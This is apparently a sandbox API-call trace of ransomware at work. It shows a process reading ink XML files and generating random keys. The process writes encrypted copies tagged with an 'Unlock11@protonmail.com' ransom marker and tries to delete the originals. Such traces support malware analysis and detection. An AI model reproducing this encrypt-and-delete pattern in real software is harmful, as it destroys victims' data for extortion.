[0120.920] GetCurrentThreadId () returned 0x9b0 [0120.920] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2)) returned 1 [0120.920] GetCurrentThreadId () returned 0x9b0 [0120.920] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0120.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0120.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0120.920] GetCurrentThreadId () returned 0x9b0 [0120.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0120.921] GetCurrentThreadId () returned 0x9b0 [0120.921] GetCurrentThreadId () returned 0x9b0 [0120.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabe8 [0120.921] GetCurrentThreadId () returned 0x9b0 [0120.921] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.921] GetFileType (hFile=0x39c) returned 0x1 [0120.921] GetCurrentThreadId () returned 0x9b0 [0120.922] GetFileType (hFile=0x39c) returned 0x1 [0120.922] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.922] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.922] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.922] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.922] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.922] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.922] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.922] GetLastError () returned 0x0 [0120.922] GetCurrentThreadId () returned 0x9b0 [0120.922] GetLastError () returned 0x0 [0120.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887800 | out: hHeap=0x2ad0000) returned 1 [0120.923] GetLastError () returned 0x0 [0120.923] GetLastError () returned 0x0 [0120.923] GetLastError () returned 0x0 [0120.923] GetLastError () returned 0x0 [0120.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652c8 [0120.923] GetLastError () returned 0x0 [0120.923] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.929] GetFileType (hFile=0x3ac) returned 0x1 [0120.929] GetLastError () returned 0x0 [0120.930] GetCurrentThreadId () returned 0x9b0 [0120.930] GetLastError () returned 0x0 [0120.930] GetFileType (hFile=0x3ac) returned 0x1 [0120.930] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.931] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.931] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.931] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.931] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.932] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.932] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.932] GetLastError () returned 0x0 [0120.932] GetCurrentThreadId () returned 0x9b0 [0120.932] GetLastError () returned 0x0 [0120.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0120.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0120.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0120.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.932] GetLastError () returned 0x0 [0120.932] GetLastError () returned 0x0 [0120.933] GetCurrentThreadId () returned 0x9b0 [0120.933] GetLastError () returned 0x0 [0120.933] GetCurrentThreadId () returned 0x9b0 [0120.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.933] GetLastError () returned 0x0 [0120.933] GetLastError () returned 0x0 [0120.933] GetCurrentThreadId () returned 0x9b0 [0120.933] GetLastError () returned 0x0 [0120.933] GetLastError () returned 0x0 [0120.935] GetLastError () returned 0x0 [0120.935] GetCurrentThreadId () returned 0x9b0 [0120.935] GetLastError () returned 0x0 [0120.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9e7) returned 0x35c5908 [0120.935] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9f5) returned 0x35c5908 [0120.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0120.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0120.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9f8) returned 0x35be9f8 [0120.936] GetLastError () returned 0x0 [0120.936] GetLastError () returned 0x0 [0120.936] GetLastError () returned 0x0 [0120.936] GetLastError () returned 0x0 [0120.936] GetCurrentThreadId () returned 0x9b0 [0120.936] GetLastError () returned 0x0 [0120.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.936] GetCurrentThreadId () returned 0x9b0 [0120.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0120.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0120.937] GetLastError () returned 0x0 [0120.937] GetLastError () returned 0x0 [0120.937] GetCurrentThreadId () returned 0x9b0 [0120.937] GetLastError () returned 0x0 [0120.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf3f8 | out: hHeap=0x2ad0000) returned 1 [0120.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c6308 [0120.937] GetLastError () returned 0x0 [0120.937] GetLastError () returned 0x0 [0120.937] GetCurrentThreadId () returned 0x9b0 [0120.937] GetLastError () returned 0x0 [0120.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6308 | out: hHeap=0x2ad0000) returned 1 [0120.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.938] GetLastError () returned 0x0 [0120.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.939] CloseHandle (hObject=0x3ac) returned 1 [0120.939] GetLastError () returned 0x0 [0120.939] GetCurrentThreadId () returned 0x9b0 [0120.939] GetLastError () returned 0x0 [0120.939] GetLastError () returned 0x0 [0120.939] CloseHandle (hObject=0x39c) returned 1 [0120.939] GetLastError () returned 0x0 [0120.939] GetCurrentThreadId () returned 0x9b0 [0120.939] GetLastError () returned 0x0 [0120.940] GetLastError () returned 0x0 [0120.940] GetLastError () returned 0x0 [0120.940] GetLastError () returned 0x0 [0120.940] GetLastError () returned 0x0 [0120.940] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0 [0120.940] GetLastError () returned 0x5 [0120.940] GetCurrentThreadId () returned 0x9b0 [0120.940] GetLastError () returned 0x5 [0120.940] GetLastError () returned 0x5 [0120.941] GetLastError () returned 0x5 [0120.941] GetLastError () returned 0x5 [0120.941] LocalFree (hMem=0x1053b30) returned 0x0 [0120.941] GetLastError () returned 0x5 [0120.941] GetLastError () returned 0x5 [0120.941] GetLastError () returned 0x5 [0120.941] GetLastError () returned 0x5 [0120.941] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml", lpFilePart=0x9bada4*="ipsdeu.xml") returned 0x3d [0120.941] GetCurrentThreadId () returned 0x9b0 [0120.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0120.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0120.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0120.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0120.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea968 [0120.942] GetCurrentThreadId () returned 0x9b0 [0120.942] GetLastError () returned 0x0 [0120.942] GetLastError () returned 0x0 [0120.942] GetLastError () returned 0x0 [0120.942] GetLastError () returned 0x0 [0120.942] GetCurrentThreadId () returned 0x9b0 [0120.942] GetLastError () returned 0x0 [0120.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea968 | out: hHeap=0x2ad0000) returned 1 [0120.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabe8 [0120.943] GetLastError () returned 0x0 [0120.943] GetLastError () returned 0x0 [0120.943] GetLastError () returned 0x0 [0120.943] GetLastError () returned 0x0 [0120.943] GetCurrentThreadId () returned 0x9b0 [0120.943] GetLastError () returned 0x0 [0120.943] GetLastError () returned 0x0 [0120.943] GetLastError () returned 0x0 [0120.944] GetLastError () returned 0x0 [0120.944] GetLastError () returned 0x0 [0120.944] GetCurrentThreadId () returned 0x9b0 [0120.944] GetLastError () returned 0x0 [0120.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabe8 | out: hHeap=0x2ad0000) returned 1 [0120.944] GetCurrentThreadId () returned 0x9b0 [0120.944] GetLastError () returned 0x0 [0120.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0120.944] GetLastError () returned 0x0 [0120.944] GetLastError () returned 0x0 [0120.945] GetLastError () returned 0x0 [0120.945] GetCurrentThreadId () returned 0x9b0 [0120.945] GetLastError () returned 0x0 [0120.945] GetLastError () returned 0x0 [0120.945] GetLastError () returned 0x0 [0120.945] GetLastError () returned 0x0 [0120.945] GetLastError () returned 0x0 [0120.945] GetCurrentThreadId () returned 0x9b0 [0120.946] GetLastError () returned 0x0 [0120.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0120.946] GetLastError () returned 0x0 [0120.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0120.946] GetLastError () returned 0x0 [0120.946] GetLastError () returned 0x0 [0120.946] GetLastError () returned 0x0 [0120.946] GetCurrentThreadId () returned 0x9b0 [0120.946] GetLastError () returned 0x0 [0120.946] GetLastError () returned 0x0 [0120.946] GetLastError () returned 0x0 [0120.947] GetLastError () returned 0x0 [0120.947] GetLastError () returned 0x0 [0120.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.947] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38)) returned 1 [0120.947] GetLastError () returned 0x0 [0120.947] GetCurrentThreadId () returned 0x9b0 [0120.947] GetLastError () returned 0x0 [0120.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0120.947] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b034 | out: pbBuffer=0x366b034) returned 1 [0120.948] GetCurrentThreadId () returned 0x9b0 [0120.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0120.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0120.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0120.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0120.948] GetLastError () returned 0x0 [0120.948] GetLastError () returned 0x0 [0120.948] GetLastError () returned 0x0 [0120.948] GetLastError () returned 0x0 [0120.948] GetCurrentThreadId () returned 0x9b0 [0120.948] GetLastError () returned 0x0 [0120.949] GetCurrentThreadId () returned 0x9b0 [0120.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0120.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0120.949] GetLastError () returned 0x0 [0120.949] GetLastError () returned 0x0 [0120.949] GetLastError () returned 0x0 [0120.949] GetLastError () returned 0x0 [0120.949] GetCurrentThreadId () returned 0x9b0 [0120.949] GetLastError () returned 0x0 [0120.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0120.950] GetCurrentThreadId () returned 0x9b0 [0120.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265318 [0120.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0120.950] GetLastError () returned 0x0 [0120.950] GetLastError () returned 0x0 [0120.950] GetLastError () returned 0x0 [0120.950] GetLastError () returned 0x0 [0120.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265498 [0120.950] GetLastError () returned 0x0 [0120.950] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.951] GetFileType (hFile=0x39c) returned 0x1 [0120.951] GetLastError () returned 0x0 [0120.951] GetCurrentThreadId () returned 0x9b0 [0120.951] GetLastError () returned 0x0 [0120.951] GetFileType (hFile=0x39c) returned 0x1 [0120.951] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.952] GetLastError () returned 0x0 [0120.952] GetCurrentThreadId () returned 0x9b0 [0120.952] GetLastError () returned 0x0 [0120.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0120.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0120.952] GetLastError () returned 0x0 [0120.952] GetLastError () returned 0x0 [0120.952] GetLastError () returned 0x0 [0120.952] GetLastError () returned 0x0 [0120.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0120.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265488 [0120.953] GetLastError () returned 0x0 [0120.953] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.953] GetFileType (hFile=0x3ac) returned 0x1 [0120.953] GetLastError () returned 0x0 [0120.953] GetCurrentThreadId () returned 0x9b0 [0120.953] GetLastError () returned 0x0 [0120.953] GetFileType (hFile=0x3ac) returned 0x1 [0120.953] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.953] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.954] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.954] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.954] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.954] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.954] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.954] GetLastError () returned 0x0 [0120.954] GetCurrentThreadId () returned 0x9b0 [0120.954] GetLastError () returned 0x0 [0120.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0120.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0120.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0120.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0120.954] GetLastError () returned 0x0 [0120.955] GetLastError () returned 0x0 [0120.955] GetCurrentThreadId () returned 0x9b0 [0120.955] GetLastError () returned 0x0 [0120.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0120.955] GetLastError () returned 0x0 [0120.955] GetLastError () returned 0x0 [0120.955] GetCurrentThreadId () returned 0x9b0 [0120.955] GetLastError () returned 0x0 [0120.955] GetLastError () returned 0x0 [0120.957] GetLastError () returned 0x0 [0120.957] GetCurrentThreadId () returned 0x9b0 [0120.957] GetLastError () returned 0x0 [0120.957] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa4d) returned 0x35c5908 [0120.957] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xa55) returned 0x35c5908 [0120.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32654b8 [0120.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0120.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa58) returned 0x35be9f8 [0120.957] GetCurrentThreadId () returned 0x9b0 [0120.958] GetLastError () returned 0x0 [0120.958] GetLastError () returned 0x0 [0120.958] GetLastError () returned 0x0 [0120.958] GetLastError () returned 0x0 [0120.958] GetCurrentThreadId () returned 0x9b0 [0120.958] GetLastError () returned 0x0 [0120.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0120.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0120.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0120.958] GetLastError () returned 0x0 [0120.958] GetLastError () returned 0x0 [0120.959] GetCurrentThreadId () returned 0x9b0 [0120.959] GetLastError () returned 0x0 [0120.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bf458 | out: hHeap=0x2ad0000) returned 1 [0120.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c6368 [0120.959] GetLastError () returned 0x0 [0120.959] GetLastError () returned 0x0 [0120.959] GetCurrentThreadId () returned 0x9b0 [0120.959] GetLastError () returned 0x0 [0120.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c6368 | out: hHeap=0x2ad0000) returned 1 [0120.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.959] GetLastError () returned 0x0 [0120.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.961] CloseHandle (hObject=0x3ac) returned 1 [0120.961] GetLastError () returned 0x0 [0120.961] GetCurrentThreadId () returned 0x9b0 [0120.961] GetLastError () returned 0x0 [0120.961] GetLastError () returned 0x0 [0120.961] CloseHandle (hObject=0x39c) returned 1 [0120.962] GetLastError () returned 0x0 [0120.962] GetCurrentThreadId () returned 0x9b0 [0120.962] GetLastError () returned 0x0 [0120.962] GetLastError () returned 0x0 [0120.962] GetLastError () returned 0x0 [0120.962] GetLastError () returned 0x0 [0120.962] GetLastError () returned 0x0 [0120.962] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0 [0120.962] GetLastError () returned 0x5 [0120.963] GetCurrentThreadId () returned 0x9b0 [0120.963] GetLastError () returned 0x5 [0120.963] GetLastError () returned 0x5 [0120.963] GetLastError () returned 0x5 [0120.963] GetLastError () returned 0x5 [0120.963] LocalFree (hMem=0x1053b50) returned 0x0 [0120.963] GetCurrentThreadId () returned 0x9b0 [0120.963] GetLastError () returned 0x5 [0120.963] GetLastError () returned 0x5 [0120.963] GetLastError () returned 0x5 [0120.964] GetLastError () returned 0x5 [0120.964] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml", lpFilePart=0x9bada4*="ipsel.xml") returned 0x3c [0120.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0120.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0120.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0120.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0120.964] GetCurrentThreadId () returned 0x9b0 [0120.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0120.964] GetLastError () returned 0x0 [0120.964] GetLastError () returned 0x0 [0120.965] GetLastError () returned 0x0 [0120.965] GetLastError () returned 0x0 [0120.965] GetCurrentThreadId () returned 0x9b0 [0120.965] GetLastError () returned 0x0 [0120.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0120.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea990 [0120.965] GetLastError () returned 0x0 [0120.965] GetLastError () returned 0x0 [0120.965] GetLastError () returned 0x0 [0120.965] GetLastError () returned 0x0 [0120.965] GetCurrentThreadId () returned 0x9b0 [0120.966] GetLastError () returned 0x0 [0120.966] GetCurrentThreadId () returned 0x9b0 [0120.966] GetLastError () returned 0x0 [0120.966] GetLastError () returned 0x0 [0120.966] GetLastError () returned 0x0 [0120.966] GetLastError () returned 0x0 [0120.966] GetCurrentThreadId () returned 0x9b0 [0120.966] GetLastError () returned 0x0 [0120.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea990 | out: hHeap=0x2ad0000) returned 1 [0120.966] GetLastError () returned 0x0 [0120.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0120.967] GetLastError () returned 0x0 